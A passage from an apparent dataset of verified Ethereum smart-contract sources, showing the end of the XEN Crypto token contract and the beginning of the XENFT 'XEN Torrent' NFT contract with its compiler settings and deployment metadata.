rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
92525b38b3b1c054d9b578a32330a4c2390b3a3c
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n 